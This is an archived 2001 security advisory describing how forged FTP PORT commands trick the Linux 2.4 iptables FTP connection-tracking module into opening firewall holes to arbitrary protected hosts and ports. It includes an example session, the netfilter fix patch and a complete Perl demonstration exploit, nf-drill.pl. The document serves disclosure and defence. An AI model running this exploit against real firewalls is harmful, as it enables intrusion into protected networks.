Tempest Security Techonologies -- Adivsory #01/2001 -- Linux IPTables

From: Cristiano Lincoln Mattos (lincolnat_private)
Date: Mon Apr 16 2001 - 15:52:28 PDT

  • Next message: Albert Fu: "SSE074: (SCO) UnixWare 7 NTP buffer overflow fix"

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    
    	This advisory is also available at:
    
    	http://www.tempest.com.br/advisories/01-2001.html
    
    Cristiano Lincoln Mattos, CISSP, SSCP
    CESAR - Centro de Estudos e Sistemas Avançados do Recife
    
    
    =====[ Tempest Security Technologies - Advisory #01 / 2001 ]==============
    
                Security flaw in Linux 2.4 IPTables using FTP PORT
    	    --------------------------------------------------
    
     	    Tempest Security Technologies, a business unit of
     	 CESAR - Centro de Estudos e Sistemas Avançados do Recife
    
      Author: Cristiano Lincoln Mattos, CISSP, SSCP <lincolnat_private>
    
     	    	  	  Recife, Pernambuco, Brazil
    
    =====[ Table of Contents ]================================================
    
    1. Overview
    2. Detailed description
    3. Solutions
    4. Demonstration tool
    
    =====[ Overview ]=========================================================
    
     * Systems affected: Firewalls using Linux Kernel 2.4.x with IPTables
     * Release date: 14 April 2001
     * Platforms: Linux Kernel 2.4.x
     * Impact: If an attacker can establish an FTP connection passing through
     	   a Linux 2.4.x IPTables firewall with the state options allowing
               "related" connections (almost 100% do), he can insert entries
               into the firewall's RELATED ruleset table allowing the FTP Server to
               connect to any host and port protected by the firewalls rules,
               including the firewall itself.
    
     This advisory is also available at:
    
     	http://www.tempest.com.br/advisories/01-2001.html
    
     Linux 2.4.x includes NetFilter, a raw framework for filtering and
     mangling packets.  IPTables, used for firewalling, is set inside the
     NetFilter framework.  One of the new features in this setting is
     connection tracking, known to some as "stateful inspection".  The four
     possible states it can mantain are: ESTABLISHED, NEW, RELATED and
     INVALID.  We are interested here in the RELATED state -- it includes,
     among other things, the FTP DATA connections, active (PORT command) and
     passive (PASV command).
    
     The module ip_conntrack_ftp is responsible for analysing FTP connections
     that pass through the firewall, looking for PORT and PASV commands, and
     including entries for those connections in the firewall's connection
     table.  There is a security flaw in the manner in which the PORT
     command is interpreted and processed.  Essentially, you can pass any
     IP/port in an FTP PORT commmand, and the module will not validate these
     parameters, adding an entry to the RELATED ruleset allowing connections
     from the FTP server, any source port, to the specified destination IP
     and port.  In most cases, people make stringent security rules and have
     lax firewall rules regarding RELATED connections, allowing the attacker
     to connect to anywhere.
    
     This can be used, for example, for the FTP server to connect to any TCP
     port on the firewall, or any other node protected by the firewall. Even
     though there may be rules normally denying this type of traffic, it
     would pass through the firewall, because of the rule allowing RELATED.
     The attacker does not even need to have a valid login in the FTP server,
     as the PORT command is interpreted by the module independently of any
     authentication procedures (USER and PASS).
    
     This is a security flaw which can be exploited when an attacker is in
     a position behind your firewall, i.e., "protected".  For example, if your
     firewall protects an FTP Server and the attacker has compromised it by
     other means, he can use this to connect to other protected networks.  Or,
     if your attacker is behind your firewall as a client and connects to an
     FTP server on the Internet, he can use it to allow this FTP server to
     connect to other protected networks.
    
    =====[ Detailed description ]=============================================
    
     Most firewall setups using IPTables include the following rule, for
     allowing established and related connections through:
    
        iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
    
     The "related" state includes connections such as the FTP data transfer
     connections, both active and passive modes.  If related connections and
     FTP are allowed through the firewall, then the system is most likely
     vulnerable.
    
     The attack consists in connecting to the FTP server (passing through the
     firewall) and using the PORT commands with arbitrary IP and port
     parameters - the normal parameters should be the client's IP and a random
     port.
    
     To explain the process in more details, we'll outline the following
     scenario:
    
     	- Client IP: 200.249.243.12, an IP on the internet
     	- Firewall: 200.249.137.1 (internet interface)
     		    200.249.193.1 (DMZ interface)
     	- FTP server: 200.249.193.2 (inside a DMZ network, protected by
     				     the firewall)
    
     In a normal ftp data transfer, the client would emit the following
     command to initiate an active data transfer:
    
         PORT 200,249,243,12,4,10
    
     Which would insert an entry in the connection table
     (cat /proc/net/ip_conntrack), of the following form:
    
    EXPECTING: proto=6 src=200.249.193.2 dst=200.249.243.12 sport=0 dport=1034
    
     Allowing a connection from the FTP server to the client in the specified
     port. Since the module ip_conntrack_ftp doesn't check the passed IP and
     ports, an attacker can pass the following parameters:
    
         PORT 200,249,193,1,0,22
    
     Which would insert an entry in the connection table
     (cat /proc/net/ip_conntrack), of the following form:
    
    EXPECTING: proto=6 src=200.249.193.2 dst=200.249.193.1 sport=0 dport=22
    
     Allowing a connection from the FTP server to the firewall, on port 22,
     ie, the SSH port.  This will work by inserting the rule into the RELATED
     ruleset, which as shown above is normally too open.  The rule can be
     inserted to any destination IP and port.
    
     Of course, the FTP server will probably not accept the command (if it has
     anti-bounce protection), saying "Illegal PORT command", but the firewall
     will have interpreted the commands and added an "expecting related" entry
     as described above to its connection table.  The attacker will then have
     ten seconds to establish the connection, before the entry expires and is
     removed from the connection table.
    
     It is not even necessary to have logged in the FTP server since the
     module doesn't check for valid USER and PASS commands.  All we have to do
     is trick the code into thinking we have established a connection
     (IP_CT_ESTABLISHED+IP_CT_IS_REPLY).  To do that, it is only necessary to
     send any string to the FTP server, which should reply with "invalid
     command", and then we send the PORT command with our parameters... the
     FTP server will probably be complaining that a login has not been
     established yet, but the firewall will have done what we want it to:
    
         220 tsunami FTP server ready.
         xxxgarbagexxx
         530 Please login with USER and PASS.
         PORT 200,249,193,1,0,22
         530 Please login with USER and PASS.
         QUIT
         221 Goodbye.
    
     The implications should be obvious -- we outline two main scenarios of
     attack:
    
     * The FTP server is protected by the firewall: in this case, the client
     (attacker) would be on the internet.  If the FTP server is compromised
     by the attacker using other means, the attacker can insert rules allowing
     the FTP server to:
    
         - Connect to hosts on the internet, for downloading of trojans,
           tools, reverse tunnels, etc;
         - Connect to the firewall itself and exploit it from there onwards;
         - Connect to other hosts on networks protected by the firewall, such
           as an internal network, for example;
         - ... use your imagination :)
    
     * The client (attacker) is protected by the firewall: in this case, the
     client would connect to an FTP server that he controls on another network
     such as the internet (as long as the connection passes through the
     firewall).  The attacker would insert rules allowing the FTP server that
     he controls to:
    
         - Connect to the firewall itself and attack it from there onwards;
         - Connect to other hosts on networks protected by the firewall, such
           as a DMZ or other networks for example;
         - ... again, use your imagination :)
    
     A few observations:
    
         - From my tests, the use of NAT (NAT of the FTP server, NAT of the
           client and NAT of the target) doesn't stop the attack in anyway.
           Of course, the attacker will only have to pay attention to which IP
           he is connecting to, but the entries are inserted into the
           connection table anyway.
         - By default, the ip_conntrack_ftp module only analyses FTP control
           connections on port 21, so this would only work on connections to
           FTP servers binding on port 21.  Unless, obviously, the module were
           configured to listen on another port as well.
         - This should not need to be said :) but this attack bypasses the
           firewall rules by inserting an entry into the ruleset for RELATED
           connections -- for the attack to work, there must be a rule
           allowing the client to connect to an FTP server (through the
           firewall) in the first place, and the rule allowing the RELATED
           state for the specified connection.  This is a very common setting,
           as most firewalls allow their clients to perform FTP, and the
           too-open RELATED rule is also very common -- i've seen it an lots
           of IPTables FAQs, guides, lists, etc.
    
    =====[ Solutions ]========================================================
    
     First and foremost, you should tighten your firewall rules to limit the
     scope of this vulnerability, by only allowing RELATED connections to the
     hosts that really need them, and not to all connections.
    
     The NetFilter core team was notified and quickly developed a patch.  It
     is available at:
    
    	 http://netfilter.samba.org/security-fix/
    	 http://netfilter.gnumonks.org/security-fix/
    	 http://netfilter.filewatcher.org/security-fix/
    
     Since it is small, I've included it here:
    
    diff -urN linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c linux/net/ipv4/netfilter/ip_conntrack_ftp.c
    - --- linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c	Fri Aug 11 05:35:15 2000
    +++ linux/net/ipv4/netfilter/ip_conntrack_ftp.c	Mon Apr 16 02:18:30 2001
    @@ -187,7 +187,12 @@
     	       (int)matchlen, data + matchoff,
     	       matchlen, ntohl(tcph->seq) + matchoff);
    
    - -	/* Update the ftp info */
    +	/*
    +	 * Update the ftp info only if the source address matches the address specified
    +	 * in the PORT or PASV command.  Closes hole where packets could be dangerously
    +	 * marked as RELATED to bypass filtering rules. Thanks to Cristiano Lincoln
    +	 * Mattos <lincolnat_private> for the report.
    +	 */
     	LOCK_BH(&ip_ftp_lock);
     	if (htonl((array[0] << 24) | (array[1] << 16) | (array[2] << 8) | array[3])
     	    == ct->tuplehash[dir].tuple.src.ip) {
    @@ -197,13 +202,8 @@
     		info->ftptype = dir;
     		info->port = array[4] << 8 | array[5];
     	} else {
    - -		/* Enrico Scholz's passive FTP to partially RNAT'd ftp
    - -		   server: it really wants us to connect to a
    - -		   different IP address.  Simply don't record it for
    - -		   NAT. */
    - -		DEBUGP("conntrack_ftp: NOT RECORDING: %u,%u,%u,%u != %u.%u.%u.%u\n",
    - -		       array[0], array[1], array[2], array[3],
    - -		       NIPQUAD(ct->tuplehash[dir].tuple.src.ip));
    +		UNLOCK_BH(&ip_ftp_lock);
    +		return NF_ACCEPT;
     	}
    
     	t = ((struct ip_conntrack_tuple)
    
    =====[ Demonstration tool ]===============================================
    
     Exploiting this flaw is so simple that you can do it easily manually,
     with telnet.  Anyhow, I wrote a perl script to automate the procedures:
    
     Usage: ./nf-drill.pl --server <ftp> [--serverport <port>] --host <target>
                          --port <port> [--verbose]
       - server: specifies the FTP server (IP or hostname) to connect to
       - serverport: specifies the port of the FTP server -- default: 21
       - host: the IP of the target to open in the connection table
       - port: the port of the target to open in the connection table
       - verbose: sets verbose mode
    
    #!/usr/bin/perl
    #
    # nf-drill.pl --- "Drill" holes open in Linux iptables connection table
    # Author: Cristiano Lincoln Mattos <lincolnat_private>, 2001
    #
    # Advisory: http://www.tempest.com.br/advisories/linux-iptables
    #
    #      Tempest Security Technologies - a business unit of:
    #    CESAR - Centro de Estudos e Sistemas Avancados do Recife
    #
    # This code is licensed under the GPL.
    #
    
    use Socket;
    use Getopt::Long;
    use strict;
    
    # Option variables
    my $server;
    my $serverport = 21;
    my $host;
    my $port;
    my $verbose = 0;
    
    # Print function
    sub out {
    	my ($level,$text) = @_;
    	if (!$level || ($level && $verbose)) { print "$text"; }
    }
    
    my $opt = GetOptions("server=s" => \$server,
    		     "serverport=s" => \$serverport,
    		     "host=s" => \$host,
    		     "port=i" => \$port,
    		     "verbose" => \$verbose);
    
    if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
    	print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
    	print "   - server: specifies the FTP server (IP or hostname) to connect to\n";
    	print "   - serverport: specifies the port of the FTP server -- default: 21\n";
    	print "   - host: the IP of the target to open in the connection table\n";
    	print "   - port: the port of the target to open in the connection table\n";
    	print "   - verbose: sets verbose mode\n";
    	exit(0);
    }
    
    print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";
    print " Tempest Security Technologies\n\n";
    
    # For the meanwhile, expecting an IP
    my @ip = split(/\./,$host);
    my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port %
    256) . "\r\n";
    
    # Socket init
    my $ipn = inet_aton($server);
    if (!$ipn) {
    	out(0," Error: could not convert $server\n");
    	exit(0);
    }
    
    my $sin = sockaddr_in($serverport,$ipn);
    socket(Sock,PF_INET,SOCK_STREAM,6);
    
    if (!connect(Sock,$sin)) {
    	out(0," Error: could not connect to $server:$serverport.\n");
    	exit(0);
    }
    out(0," - Connected to $server:$serverport\n");
    
    my $buf;
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");
    
    # First send a dummy one, just to establish the connection in the iptables logic
    send(Sock,$str,0);
    out(1," - SEND: $str");
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");
    
    # Now, send the one that will insert itself into the connection table
    send(Sock,$str,0);
    out(1," - SEND: $str");
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");
    
    out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
    out(0," - Closing connection to $server:$serverport.\n\n");
    close(Sock);
    
    ==========================================================================
    
     Thanks to Marco "Kiko" Carnut and Evandro Curvelo Hora for the comments,
     and to members of the NetFilter Core Team (James Morris, Harald Welte)
     for the quick response, patch and discussion.
    
     " I *know* it's 1 AM, but could you please change the root password?
            This kind of emergency really does happen in real life. "
    
       			                  -- The key argument in a recent
       			     	   successfull social engineering attack.
    
    ==========================================================================
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>
    
    iQA/AwUBOtt2rUTJ6fugnqnnEQIPwgCeMpbCXRNagIduzvxWIYY+iysAPkEAoPKh
    63GJKANEQqN7qP6qtn5oul+P
    =2nXV
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Tue Apr 17 2001 - 01:41:51 PDT